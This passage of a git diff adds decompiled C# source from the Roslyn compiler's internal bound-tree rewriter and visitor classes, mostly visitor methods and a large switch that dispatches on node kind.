VisitType(node.Type); + return node.Update(expression, argument, node.IsValue, node.GetItemOrSliceHelper, type); + } + + public override BoundNode? VisitDynamicIndexerAccess(BoundDynamicIndexerAccess node) + { + BoundExpression receiver = (BoundExpression)Visit(node.Receiver); + ImmutableArray arguments = VisitList(node.Arguments); + TypeSymbol type = VisitType(node.Type); + return node.Update(receiver, arguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt, node.ApplicableIndexers, type); + } + + public override BoundNode? VisitLambda(BoundLambda node) + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + UnboundLambda unboundLambda = node.UnboundLambda; + BoundBlock body = (BoundBlock)Visit(node.Body); + TypeSymbol type = VisitType(node.Type); + return node.Update(unboundLambda, node.Symbol, body, node.Diagnostics, node.Binder, type); + } + + public override BoundNode? VisitUnboundLambda(UnboundLambda node) + { + VisitType(node.Type); + return node.Update(node.Data, node.FunctionType, node.WithDependencies); + } + + public override BoundNode? VisitQueryClause(BoundQueryClause node) + { + BoundExpression value = (BoundExpression)Visit(node.Value); + BoundExpression operation = node.Operation; + BoundExpression cast = node.Cast; + BoundExpression unoptimizedForm = node.UnoptimizedForm; + TypeSymbol type = VisitType(node.Type); + return node.Update(value, node.DefinedSymbol, operation, cast, node.Binder, unoptimizedForm, type); + } + + public override BoundNode? VisitTypeOrInstanceInitializers(BoundTypeOrInstanceInitializers node) + { + ImmutableArray statements = VisitList(node.Statements); + return node.Update(statements); + } + + public override BoundNode? VisitNameOfOperator(BoundNameOfOperator node) + { + BoundExpression argument = (BoundExpression)Visit(node.Argument); + TypeSymbol type = VisitType(node.Type); + return node.Update(argument, node.ConstantValueOpt, type); + } + + public override BoundNode? VisitUnconvertedInterpolatedString(BoundUnconvertedInterpolatedString node) + { + ImmutableArray parts = VisitList(node.Parts); + TypeSymbol type = VisitType(node.Type); + return node.Update(parts, node.ConstantValueOpt, type); + } + + public override BoundNode? VisitInterpolatedString(BoundInterpolatedString node) + { + ImmutableArray parts = VisitList(node.Parts); + TypeSymbol type = VisitType(node.Type); + return node.Update(node.InterpolationData, parts, node.ConstantValueOpt, type); + } + + public override BoundNode? VisitInterpolatedStringHandlerPlaceholder(BoundInterpolatedStringHandlerPlaceholder node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(type); + } + + public override BoundNode? VisitInterpolatedStringArgumentPlaceholder(BoundInterpolatedStringArgumentPlaceholder node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(node.ArgumentIndex, type); + } + + public override BoundNode? VisitStringInsert(BoundStringInsert node) + { + BoundExpression value = (BoundExpression)Visit(node.Value); + BoundExpression alignment = (BoundExpression)Visit(node.Alignment); + BoundLiteral format = (BoundLiteral)Visit(node.Format); + VisitType(node.Type); + return node.Update(value, alignment, format, node.IsInterpolatedStringHandlerAppendCall); + } + + public override BoundNode? VisitIsPatternExpression(BoundIsPatternExpression node) + { + BoundExpression expression = (BoundExpression)Visit(node.Expression); + BoundPattern pattern = (BoundPattern)Visit(node.Pattern); + BoundDecisionDag reachabilityDecisionDag = node.ReachabilityDecisionDag; + TypeSymbol type = VisitType(node.Type); + return node.Update(expression, pattern, node.IsNegated, reachabilityDecisionDag, node.WhenTrueLabel, node.WhenFalseLabel, type); + } + + public override BoundNode? VisitConstantPattern(BoundConstantPattern node) + { + BoundExpression value = (BoundExpression)Visit(node.Value); + TypeSymbol inputType = VisitType(node.InputType); + TypeSymbol narrowedType = VisitType(node.NarrowedType); + return node.Update(value, node.ConstantValue, inputType, narrowedType); + } + + public override BoundNode? VisitDiscardPattern(BoundDiscardPattern node) + { + TypeSymbol inputType = VisitType(node.InputType); + TypeSymbol narrowedType = VisitType(node.NarrowedType); + return node.Update(inputType, narrowedType); + } + + public override BoundNode? VisitDeclarationPattern(BoundDeclarationPattern node) + { + BoundTypeExpression declaredType = (BoundTypeExpression)Visit(node.DeclaredType); + BoundExpression variableAccess = (BoundExpression)Visit(node.VariableAccess); + TypeSymbol inputType = VisitType(node.InputType); + TypeSymbol narrowedType = VisitType(node.NarrowedType); + return node.Update(declaredType, node.IsVar, node.Variable, variableAccess, inputType, narrowedType); + } + + public override BoundNode? VisitRecursivePattern(BoundRecursivePattern node) + { + BoundTypeExpression declaredType = (BoundTypeExpression)Visit(node.DeclaredType); + ImmutableArray deconstruction = VisitList(node.Deconstruction); + ImmutableArray properties = VisitList(node.Properties); + BoundExpression variableAccess = (BoundExpression)Visit(node.VariableAccess); + TypeSymbol inputType = VisitType(node.InputType); + TypeSymbol narrowedType = VisitType(node.NarrowedType); + return node.Update(declaredType, node.DeconstructMethod, deconstruction, properties, node.IsExplicitNotNullTest, node.Variable, variableAccess, inputType, narrowedType); + } + + public override BoundNode? VisitListPattern(BoundListPattern node) + { + ImmutableArray subpatterns = VisitList(node.Subpatterns); + BoundExpression lengthAccess = node.LengthAccess; + BoundExpression indexerAccess = node.IndexerAccess; + BoundListPatternReceiverPlaceholder receiverPlaceholder = node.ReceiverPlaceholder; + BoundListPatternIndexPlaceholder argumentPlaceholder = node.ArgumentPlaceholder; + BoundExpression variableAccess = (BoundExpression)Visit(node.VariableAccess); + TypeSymbol inputType = VisitType(node.InputType); + TypeSymbol narrowedType = VisitType(node.NarrowedType); + return node.Update(subpatterns, node.HasSlice, lengthAccess, indexerAccess, receiverPlaceholder, argumentPlaceholder, node.Variable, variableAccess, inputType, narrowedType); + } + + public override BoundNode? VisitSlicePattern(BoundSlicePattern node) + { + BoundPattern pattern = (BoundPattern)Visit(node.Pattern); + BoundExpression indexerAccess = node.IndexerAccess; + BoundSlicePatternReceiverPlaceholder receiverPlaceholder = node.ReceiverPlaceholder; + BoundSlicePatternRangePlaceholder argumentPlaceholder = node.ArgumentPlaceholder; + TypeSymbol inputType = VisitType(node.InputType); + TypeSymbol narrowedType = VisitType(node.NarrowedType); + return node.Update(pattern, indexerAccess, receiverPlaceholder, argumentPlaceholder, inputType, narrowedType); + } + + public override BoundNode? VisitITuplePattern(BoundITuplePattern node) + { + ImmutableArray subpatterns = VisitList(node.Subpatterns); + TypeSymbol inputType = VisitType(node.InputType); + TypeSymbol narrowedType = VisitType(node.NarrowedType); + return node.Update(node.GetLengthMethod, node.GetItemMethod, subpatterns, inputType, narrowedType); + } + + public override BoundNode? VisitPositionalSubpattern(BoundPositionalSubpattern node) + { + BoundPattern pattern = (BoundPattern)Visit(node.Pattern); + return node.Update(node.Symbol, pattern); + } + + public override BoundNode? VisitPropertySubpattern(BoundPropertySubpattern node) + { + BoundPropertySubpatternMember member = (BoundPropertySubpatternMember)Visit(node.Member); + BoundPattern pattern = (BoundPattern)Visit(node.Pattern); + return node.Update(member, node.IsLengthOrCount, pattern); + } + + public override BoundNode? VisitPropertySubpatternMember(BoundPropertySubpatternMember node) + { + BoundPropertySubpatternMember receiver = (BoundPropertySubpatternMember)Visit(node.Receiver); + TypeSymbol type = VisitType(node.Type); + return node.Update(receiver, node.Symbol, type); + } + + public override BoundNode? VisitTypePattern(BoundTypePattern node) + { + BoundTypeExpression declaredType = (BoundTypeExpression)Visit(node.DeclaredType); + TypeSymbol inputType = VisitType(node.InputType); + TypeSymbol narrowedType = VisitType(node.NarrowedType); + return node.Update(declaredType, node.IsExplicitNotNullTest, inputType, narrowedType); + } + + public override BoundNode? VisitBinaryPattern(BoundBinaryPattern node) + { + BoundPattern left = (BoundPattern)Visit(node.Left); + BoundPattern right = (BoundPattern)Visit(node.Right); + TypeSymbol inputType = VisitType(node.InputType); + TypeSymbol narrowedType = VisitType(node.NarrowedType); + return node.Update(node.Disjunction, left, right, inputType, narrowedType); + } + + public override BoundNode? VisitNegatedPattern(BoundNegatedPattern node) + { + BoundPattern negated = (BoundPattern)Visit(node.Negated); + TypeSymbol inputType = VisitType(node.InputType); + TypeSymbol narrowedType = VisitType(node.NarrowedType); + return node.Update(negated, inputType, narrowedType); + } + + public override BoundNode? VisitRelationalPattern(BoundRelationalPattern node) + { + BoundExpression value = (BoundExpression)Visit(node.Value); + TypeSymbol inputType = VisitType(node.InputType); + TypeSymbol narrowedType = VisitType(node.NarrowedType); + return node.Update(node.Relation, value, node.ConstantValue, inputType, narrowedType); + } + + public override BoundNode? VisitDiscardExpression(BoundDiscardExpression node) + { + TypeSymbol type = VisitType(node.Type); + return node.Update(node.NullableAnnotation, node.IsInferred, type); + } + + public override BoundNode? VisitThrowExpression(BoundThrowExpression node) + { + BoundExpression expression = (BoundExpression)Visit(node.Expression); + TypeSymbol type = VisitType(node.Type); + return node.Update(expression, type); + } + + public override BoundNode? VisitOutVariablePendingInference(OutVariablePendingInference node) + { + BoundExpression receiverOpt = (BoundExpression)Visit(node.ReceiverOpt); + VisitType(node.Type); + return node.Update(node.VariableSymbol, receiverOpt); + } + + public override BoundNode? VisitDeconstructionVariablePendingInference(DeconstructionVariablePendingInference node) + { + BoundExpression receiverOpt = (BoundExpression)Visit(node.ReceiverOpt); + VisitType(node.Type); + return node.Update(node.VariableSymbol, receiverOpt); + } + + public override BoundNode? VisitOutDeconstructVarPendingInference(OutDeconstructVarPendingInference node) + { + VisitType(node.Type); + return node.Update(node.VariableSymbol, node.IsDiscardExpression); + } + + public override BoundNode? VisitNonConstructorMethodBody(BoundNonConstructorMethodBody node) + { + BoundBlock blockBody = (BoundBlock)Visit(node.BlockBody); + BoundBlock expressionBody = (BoundBlock)Visit(node.ExpressionBody); + return node.Update(blockBody, expressionBody); + } + + public override BoundNode? VisitConstructorMethodBody(BoundConstructorMethodBody node) + { + BoundStatement initializer = (BoundStatement)Visit(node.Initializer); + BoundBlock blockBody = (BoundBlock)Visit(node.BlockBody); + BoundBlock expressionBody = (BoundBlock)Visit(node.ExpressionBody); + return node.Update(node.Locals, initializer, blockBody, expressionBody); + } + + public override BoundNode? VisitExpressionWithNullability(BoundExpressionWithNullability node) + { + BoundExpression expression = (BoundExpression)Visit(node.Expression); + TypeSymbol type = VisitType(node.Type); + return node.Update(expression, node.NullableAnnotation, type); + } + + public override BoundNode? VisitWithExpression(BoundWithExpression node) + { + BoundExpression receiver = (BoundExpression)Visit(node.Receiver); + BoundObjectInitializerExpressionBase initializerExpression = (BoundObjectInitializerExpressionBase)Visit(node.InitializerExpression); + TypeSymbol type = VisitType(node.Type); + return node.Update(receiver, node.CloneMethod, initializerExpression, type); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTreeRewriterWithStackGuard.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTreeRewriterWithStackGuard.cs new file mode 100644 index 0000000..fa244f4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTreeRewriterWithStackGuard.cs @@ -0,0 +1,39 @@ +using System.Diagnostics.CodeAnalysis; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundTreeRewriterWithStackGuard : BoundTreeRewriter +{ + private int _recursionDepth; + + protected int RecursionDepth => _recursionDepth; + + protected BoundTreeRewriterWithStackGuard() + { + } + + protected BoundTreeRewriterWithStackGuard(int recursionDepth) + { + _recursionDepth = recursionDepth; + } + + [return: NotNullIfNotNull("node")] + public override BoundNode? Visit(BoundNode? node) + { + if (node is BoundExpression node2) + { + return VisitExpressionWithStackGuard(ref _recursionDepth, node2); + } + return base.Visit(node); + } + + protected BoundExpression VisitExpressionWithStackGuard(BoundExpression node) + { + return VisitExpressionWithStackGuard(ref _recursionDepth, node); + } + + protected sealed override BoundExpression VisitExpressionWithoutStackGuard(BoundExpression node) + { + return (BoundExpression)base.Visit(node); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTreeRewriterWithStackGuardWithoutRecursionOnTheLeftOfBinaryOperator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTreeRewriterWithStackGuardWithoutRecursionOnTheLeftOfBinaryOperator.cs new file mode 100644 index 0000000..bcf85b2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTreeRewriterWithStackGuardWithoutRecursionOnTheLeftOfBinaryOperator.cs @@ -0,0 +1,49 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundTreeRewriterWithStackGuardWithoutRecursionOnTheLeftOfBinaryOperator : BoundTreeRewriterWithStackGuard +{ + protected BoundTreeRewriterWithStackGuardWithoutRecursionOnTheLeftOfBinaryOperator() + { + } + + protected BoundTreeRewriterWithStackGuardWithoutRecursionOnTheLeftOfBinaryOperator(int recursionDepth) + : base(recursionDepth) + { + } + + public sealed override BoundNode? VisitBinaryOperator(BoundBinaryOperator node) + { + BoundExpression left = node.Left; + if (left.Kind != BoundKind.BinaryOperator) + { + return base.VisitBinaryOperator(node); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilderExtensions.Push(instance, node); + BoundBinaryOperator boundBinaryOperator = (BoundBinaryOperator)left; + while (true) + { + ArrayBuilderExtensions.Push(instance, boundBinaryOperator); + left = boundBinaryOperator.Left; + if (left.Kind != BoundKind.BinaryOperator) + { + break; + } + boundBinaryOperator = (BoundBinaryOperator)left; + } + BoundExpression boundExpression = (BoundExpression)Visit(left); + do + { + boundBinaryOperator = ArrayBuilderExtensions.Pop(instance); + BoundExpression right = (BoundExpression)Visit(boundBinaryOperator.Right); + TypeSymbol type = VisitType(boundBinaryOperator.Type); + boundExpression = boundBinaryOperator.Update(boundBinaryOperator.OperatorKind, boundBinaryOperator.Data, boundBinaryOperator.ResultKind, boundExpression, right, type); + } + while (instance.Count > 0); + instance.Free(); + return boundExpression; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTreeVisitor.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTreeVisitor.cs new file mode 100644 index 0000000..1a7f03a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTreeVisitor.cs @@ -0,0 +1,2695 @@ +using System; +using System.Diagnostics; +using System.Linq; +using System.Runtime.CompilerServices; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundTreeVisitor +{ + public virtual R Visit(BoundNode node, A arg) + { + if (node == null) + { + return default(R); + } + return node.Kind switch + { + BoundKind.TypeExpression => VisitTypeExpression(node as BoundTypeExpression, arg), + BoundKind.NamespaceExpression => VisitNamespaceExpression(node as BoundNamespaceExpression, arg), + BoundKind.UnaryOperator => VisitUnaryOperator(node as BoundUnaryOperator, arg), + BoundKind.IncrementOperator => VisitIncrementOperator(node as BoundIncrementOperator, arg), + BoundKind.BinaryOperator => VisitBinaryOperator(node as BoundBinaryOperator, arg), + BoundKind.CompoundAssignmentOperator => VisitCompoundAssignmentOperator(node as BoundCompoundAssignmentOperator, arg), + BoundKind.AssignmentOperator => VisitAssignmentOperator(node as BoundAssignmentOperator, arg), + BoundKind.NullCoalescingOperator => VisitNullCoalescingOperator(node as BoundNullCoalescingOperator, arg), + BoundKind.ConditionalOperator => VisitConditionalOperator(node as BoundConditionalOperator, arg), + BoundKind.ArrayAccess => VisitArrayAccess(node as BoundArrayAccess, arg), + BoundKind.TypeOfOperator => VisitTypeOfOperator(node as BoundTypeOfOperator, arg), + BoundKind.DefaultLiteral => VisitDefaultLiteral(node as BoundDefaultLiteral, arg), + BoundKind.DefaultExpression => VisitDefaultExpression(node as BoundDefaultExpression, arg), + BoundKind.IsOperator => VisitIsOperator(node as BoundIsOperator, arg), + BoundKind.AsOperator => VisitAsOperator(node as BoundAsOperator, arg), + BoundKind.Conversion => VisitConversion(node as BoundConversion, arg), + BoundKind.SequencePointExpression => VisitSequencePointExpression(node as BoundSequencePointExpression, arg), + BoundKind.SequencePoint => VisitSequencePoint(node as BoundSequencePoint, arg), + BoundKind.SequencePointWithSpan => VisitSequencePointWithSpan(node as BoundSequencePointWithSpan, arg), + BoundKind.Block => VisitBlock(node as BoundBlock, arg), + BoundKind.LocalDeclaration => VisitLocalDeclaration(node as BoundLocalDeclaration, arg), + BoundKind.MultipleLocalDeclarations => VisitMultipleLocalDeclarations(node as BoundMultipleLocalDeclarations, arg), + BoundKind.Sequence => VisitSequence(node as BoundSequence, arg), + BoundKind.NoOpStatement => VisitNoOpStatement(node as BoundNoOpStatement, arg), + BoundKind.ReturnStatement => VisitReturnStatement(node as BoundReturnStatement, arg), + BoundKind.ThrowStatement => VisitThrowStatement(node as BoundThrowStatement, arg), + BoundKind.ExpressionStatement => VisitExpressionStatement(node as BoundExpressionStatement, arg), + BoundKind.BreakStatement => VisitBreakStatement(node as BoundBreakStatement, arg), + BoundKind.ContinueStatement => VisitContinueStatement(node as BoundContinueStatement, arg), + BoundKind.IfStatement => VisitIfStatement(node as BoundIfStatement, arg), + BoundKind.ForEachStatement => VisitForEachStatement(node as BoundForEachStatement, arg), + BoundKind.TryStatement => VisitTryStatement(node as BoundTryStatement, arg), + BoundKind.Literal => VisitLiteral(node as BoundLiteral, arg), + BoundKind.ThisReference => VisitThisReference(node as BoundThisReference, arg), + BoundKind.Local => VisitLocal(node as BoundLocal, arg), + BoundKind.Parameter => VisitParameter(node as BoundParameter, arg), + BoundKind.LabelStatement => VisitLabelStatement(node as BoundLabelStatement, arg), + BoundKind.GotoStatement => VisitGotoStatement(node as BoundGotoStatement, arg), + BoundKind.LabeledStatement => VisitLabeledStatement(node as BoundLabeledStatement, arg), + BoundKind.StatementList => VisitStatementList(node as BoundStatementList, arg), + BoundKind.ConditionalGoto => VisitConditionalGoto(node as BoundConditionalGoto, arg), + BoundKind.Call => VisitCall(node as BoundCall, arg), + BoundKind.ObjectCreationExpression => VisitObjectCreationExpression(node as BoundObjectCreationExpression, arg), + BoundKind.DelegateCreationExpression => VisitDelegateCreationExpression(node as BoundDelegateCreationExpression, arg), + BoundKind.FieldAccess => VisitFieldAccess(node as BoundFieldAccess, arg), + BoundKind.PropertyAccess => VisitPropertyAccess(node as BoundPropertyAccess, arg), + BoundKind.Lambda => VisitLambda(node as BoundLambda, arg), + BoundKind.NameOfOperator => VisitNameOfOperator(node as BoundNameOfOperator, arg), + _ => VisitInternal(node, arg), + }; + } + + public virtual R DefaultVisit(BoundNode node, A arg) + { + return default(R); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DebuggerStepThrough] + internal R VisitInternal(BoundNode node, A arg) + { + return node.Kind switch + { + BoundKind.FieldEqualsValue => VisitFieldEqualsValue((BoundFieldEqualsValue)node, arg), + BoundKind.PropertyEqualsValue => VisitPropertyEqualsValue((BoundPropertyEqualsValue)node, arg), + BoundKind.ParameterEqualsValue => VisitParameterEqualsValue((BoundParameterEqualsValue)node, arg), + BoundKind.GlobalStatementInitializer => VisitGlobalStatementInitializer((BoundGlobalStatementInitializer)node, arg), + BoundKind.ValuePlaceholder => VisitValuePlaceholder((BoundValuePlaceholder)node, arg), + BoundKind.CapturedReceiverPlaceholder => VisitCapturedReceiverPlaceholder((BoundCapturedReceiverPlaceholder)node, arg), + BoundKind.DeconstructValuePlaceholder => VisitDeconstructValuePlaceholder((BoundDeconstructValuePlaceholder)node, arg), + BoundKind.TupleOperandPlaceholder => VisitTupleOperandPlaceholder((BoundTupleOperandPlaceholder)node, arg), + BoundKind.AwaitableValuePlaceholder => VisitAwaitableValuePlaceholder((BoundAwaitableValuePlaceholder)node, arg), + BoundKind.DisposableValuePlaceholder => VisitDisposableValuePlaceholder((BoundDisposableValuePlaceholder)node, arg), + BoundKind.ObjectOrCollectionValuePlaceholder => VisitObjectOrCollectionValuePlaceholder((BoundObjectOrCollectionValuePlaceholder)node, arg), + BoundKind.ImplicitIndexerValuePlaceholder => VisitImplicitIndexerValuePlaceholder((BoundImplicitIndexerValuePlaceholder)node, arg), + BoundKind.ImplicitIndexerReceiverPlaceholder => VisitImplicitIndexerReceiverPlaceholder((BoundImplicitIndexerReceiverPlaceholder)node, arg), + BoundKind.ListPatternReceiverPlaceholder => VisitListPatternReceiverPlaceholder((BoundListPatternReceiverPlaceholder)node, arg), + BoundKind.ListPatternIndexPlaceholder => VisitListPatternIndexPlaceholder((BoundListPatternIndexPlaceholder)node, arg), + BoundKind.SlicePatternReceiverPlaceholder => VisitSlicePatternReceiverPlaceholder((BoundSlicePatternReceiverPlaceholder)node, arg), + BoundKind.SlicePatternRangePlaceholder => VisitSlicePatternRangePlaceholder((BoundSlicePatternRangePlaceholder)node, arg), + BoundKind.Dup => VisitDup((BoundDup)node, arg), + BoundKind.PassByCopy => VisitPassByCopy((BoundPassByCopy)node, arg), + BoundKind.BadExpression => VisitBadExpression((BoundBadExpression)node, arg), + BoundKind.BadStatement => VisitBadStatement((BoundBadStatement)node, arg), + BoundKind.ExtractedFinallyBlock => VisitExtractedFinallyBlock((BoundExtractedFinallyBlock)node, arg), + BoundKind.TypeExpression => VisitTypeExpression((BoundTypeExpression)node, arg), + BoundKind.TypeOrValueExpression => VisitTypeOrValueExpression((BoundTypeOrValueExpression)node, arg), + BoundKind.NamespaceExpression => VisitNamespaceExpression((BoundNamespaceExpression)node, arg), + BoundKind.UnaryOperator => VisitUnaryOperator((BoundUnaryOperator)node, arg), + BoundKind.IncrementOperator => VisitIncrementOperator((BoundIncrementOperator)node, arg), + BoundKind.AddressOfOperator => VisitAddressOfOperator((BoundAddressOfOperator)node, arg), + BoundKind.UnconvertedAddressOfOperator => VisitUnconvertedAddressOfOperator((BoundUnconvertedAddressOfOperator)node, arg), + BoundKind.FunctionPointerLoad => VisitFunctionPointerLoad((BoundFunctionPointerLoad)node, arg), + BoundKind.PointerIndirectionOperator => VisitPointerIndirectionOperator((BoundPointerIndirectionOperator)node, arg), + BoundKind.PointerElementAccess => VisitPointerElementAccess((BoundPointerElementAccess)node, arg), + BoundKind.FunctionPointerInvocation => VisitFunctionPointerInvocation((BoundFunctionPointerInvocation)node, arg), + BoundKind.RefTypeOperator => VisitRefTypeOperator((BoundRefTypeOperator)node, arg), + BoundKind.MakeRefOperator => VisitMakeRefOperator((BoundMakeRefOperator)node, arg), + BoundKind.RefValueOperator => VisitRefValueOperator((BoundRefValueOperator)node, arg), + BoundKind.FromEndIndexExpression => VisitFromEndIndexExpression((BoundFromEndIndexExpression)node, arg), + BoundKind.RangeExpression => VisitRangeExpression((BoundRangeExpression)node, arg), + BoundKind.BinaryOperator => VisitBinaryOperator((BoundBinaryOperator)node, arg), + BoundKind.TupleBinaryOperator => VisitTupleBinaryOperator((BoundTupleBinaryOperator)node, arg), + BoundKind.UserDefinedConditionalLogicalOperator => VisitUserDefinedConditionalLogicalOperator((BoundUserDefinedConditionalLogicalOperator)node, arg), + BoundKind.CompoundAssignmentOperator => VisitCompoundAssignmentOperator((BoundCompoundAssignmentOperator)node, arg), + BoundKind.AssignmentOperator => VisitAssignmentOperator((BoundAssignmentOperator)node, arg), + BoundKind.DeconstructionAssignmentOperator => VisitDeconstructionAssignmentOperator((BoundDeconstructionAssignmentOperator)node, arg), + BoundKind.NullCoalescingOperator => VisitNullCoalescingOperator((BoundNullCoalescingOperator)node, arg), + BoundKind.NullCoalescingAssignmentOperator => VisitNullCoalescingAssignmentOperator((BoundNullCoalescingAssignmentOperator)node, arg), + BoundKind.UnconvertedConditionalOperator => VisitUnconvertedConditionalOperator((BoundUnconvertedConditionalOperator)node, arg), + BoundKind.ConditionalOperator => VisitConditionalOperator((BoundConditionalOperator)node, arg), + BoundKind.ArrayAccess => VisitArrayAccess((BoundArrayAccess)node, arg), + BoundKind.ArrayLength => VisitArrayLength((BoundArrayLength)node, arg), + BoundKind.AwaitableInfo => VisitAwaitableInfo((BoundAwaitableInfo)node, arg), + BoundKind.AwaitExpression => VisitAwaitExpression((BoundAwaitExpression)node, arg), + BoundKind.TypeOfOperator => VisitTypeOfOperator((BoundTypeOfOperator)node, arg), + BoundKind.BlockInstrumentation => VisitBlockInstrumentation((BoundBlockInstrumentation)node, arg), + BoundKind.MethodDefIndex => VisitMethodDefIndex((BoundMethodDefIndex)node, arg), + BoundKind.LocalId => VisitLocalId((BoundLocalId)node, arg), + BoundKind.ParameterId => VisitParameterId((BoundParameterId)node, arg), + BoundKind.StateMachineInstanceId => VisitStateMachineInstanceId((BoundStateMachineInstanceId)node, arg), + BoundKind.MaximumMethodDefIndex => VisitMaximumMethodDefIndex((BoundMaximumMethodDefIndex)node, arg), + BoundKind.InstrumentationPayloadRoot => VisitInstrumentationPayloadRoot((BoundInstrumentationPayloadRoot)node, arg), + BoundKind.ModuleVersionId => VisitModuleVersionId((BoundModuleVersionId)node, arg), + BoundKind.ModuleVersionIdString => VisitModuleVersionIdString((BoundModuleVersionIdString)node, arg), + BoundKind.SourceDocumentIndex => VisitSourceDocumentIndex((BoundSourceDocumentIndex)node, arg), + BoundKind.MethodInfo => VisitMethodInfo((BoundMethodInfo)node, arg), + BoundKind.FieldInfo => VisitFieldInfo((BoundFieldInfo)node, arg), + BoundKind.DefaultLiteral => VisitDefaultLiteral((BoundDefaultLiteral)node, arg), + BoundKind.DefaultExpression => VisitDefaultExpression((BoundDefaultExpression)node, arg), + BoundKind.IsOperator => VisitIsOperator((BoundIsOperator)node, arg), + BoundKind.AsOperator => VisitAsOperator((BoundAsOperator)node, arg), + BoundKind.SizeOfOperator => VisitSizeOfOperator((BoundSizeOfOperator)node, arg), + BoundKind.Conversion => VisitConversion((BoundConversion)node, arg), + BoundKind.ReadOnlySpanFromArray => VisitReadOnlySpanFromArray((BoundReadOnlySpanFromArray)node, arg), + BoundKind.ArgList => VisitArgList((BoundArgList)node, arg), + BoundKind.ArgListOperator => VisitArgListOperator((BoundArgListOperator)node, arg), + BoundKind.FixedLocalCollectionInitializer => VisitFixedLocalCollectionInitializer((BoundFixedLocalCollectionInitializer)node, arg), + BoundKind.SequencePoint => VisitSequencePoint((BoundSequencePoint)node, arg), + BoundKind.SequencePointWithSpan => VisitSequencePointWithSpan((BoundSequencePointWithSpan)node, arg), + BoundKind.SavePreviousSequencePoint => VisitSavePreviousSequencePoint((BoundSavePreviousSequencePoint)node, arg), + BoundKind.RestorePreviousSequencePoint => VisitRestorePreviousSequencePoint((BoundRestorePreviousSequencePoint)node, arg), + BoundKind.StepThroughSequencePoint => VisitStepThroughSequencePoint((BoundStepThroughSequencePoint)node, arg), + BoundKind.Block => VisitBlock((BoundBlock)node, arg), + BoundKind.Scope => VisitScope((BoundScope)node, arg), + BoundKind.StateMachineScope => VisitStateMachineScope((BoundStateMachineScope)node, arg), + BoundKind.LocalDeclaration => VisitLocalDeclaration((BoundLocalDeclaration)node, arg), + BoundKind.MultipleLocalDeclarations => VisitMultipleLocalDeclarations((BoundMultipleLocalDeclarations)node, arg), + BoundKind.UsingLocalDeclarations => VisitUsingLocalDeclarations((BoundUsingLocalDeclarations)node, arg), + BoundKind.LocalFunctionStatement => VisitLocalFunctionStatement((BoundLocalFunctionStatement)node, arg), + BoundKind.NoOpStatement => VisitNoOpStatement((BoundNoOpStatement)node, arg), + BoundKind.ReturnStatement => VisitReturnStatement((BoundReturnStatement)node, arg), + BoundKind.YieldReturnStatement => VisitYieldReturnStatement((BoundYieldReturnStatement)node, arg), + BoundKind.YieldBreakStatement => VisitYieldBreakStatement((BoundYieldBreakStatement)node, arg), + BoundKind.ThrowStatement => VisitThrowStatement((BoundThrowStatement)node, arg), + BoundKind.ExpressionStatement => VisitExpressionStatement((BoundExpressionStatement)node, arg), + BoundKind.BreakStatement => VisitBreakStatement((BoundBreakStatement)node, arg), + BoundKind.ContinueStatement => VisitContinueStatement((BoundContinueStatement)node, arg), + BoundKind.SwitchStatement => VisitSwitchStatement((BoundSwitchStatement)node, arg), + BoundKind.SwitchDispatch => VisitSwitchDispatch((BoundSwitchDispatch)node, arg), + BoundKind.IfStatement => VisitIfStatement((BoundIfStatement)node, arg), + BoundKind.DoStatement => VisitDoStatement((BoundDoStatement)node, arg), + BoundKind.WhileStatement => VisitWhileStatement((BoundWhileStatement)node, arg), + BoundKind.ForStatement => VisitForStatement((BoundForStatement)node, arg), + BoundKind.ForEachStatement => VisitForEachStatement((BoundForEachStatement)node, arg), + BoundKind.ForEachDeconstructStep => VisitForEachDeconstructStep((BoundForEachDeconstructStep)node, arg), + BoundKind.UsingStatement => VisitUsingStatement((BoundUsingStatement)node, arg), + BoundKind.FixedStatement => VisitFixedStatement((BoundFixedStatement)node, arg), + BoundKind.LockStatement => VisitLockStatement((BoundLockStatement)node, arg), + BoundKind.TryStatement => VisitTryStatement((BoundTryStatement)node, arg), + BoundKind.CatchBlock => VisitCatchBlock((BoundCatchBlock)node, arg), + BoundKind.Literal => VisitLiteral((BoundLiteral)node, arg), + BoundKind.Utf8String => VisitUtf8String((BoundUtf8String)node, arg), + BoundKind.ThisReference => VisitThisReference((BoundThisReference)node, arg), + BoundKind.PreviousSubmissionReference => VisitPreviousSubmissionReference((BoundPreviousSubmissionReference)node, arg), + BoundKind.HostObjectMemberReference => VisitHostObjectMemberReference((BoundHostObjectMemberReference)node, arg), + BoundKind.BaseReference => VisitBaseReference((BoundBaseReference)node, arg), + BoundKind.Local => VisitLocal((BoundLocal)node, arg), + BoundKind.PseudoVariable => VisitPseudoVariable((BoundPseudoVariable)node, arg), + BoundKind.RangeVariable => VisitRangeVariable((BoundRangeVariable)node, arg), + BoundKind.Parameter => VisitParameter((BoundParameter)node, arg), + BoundKind.LabelStatement => VisitLabelStatement((BoundLabelStatement)node, arg), + 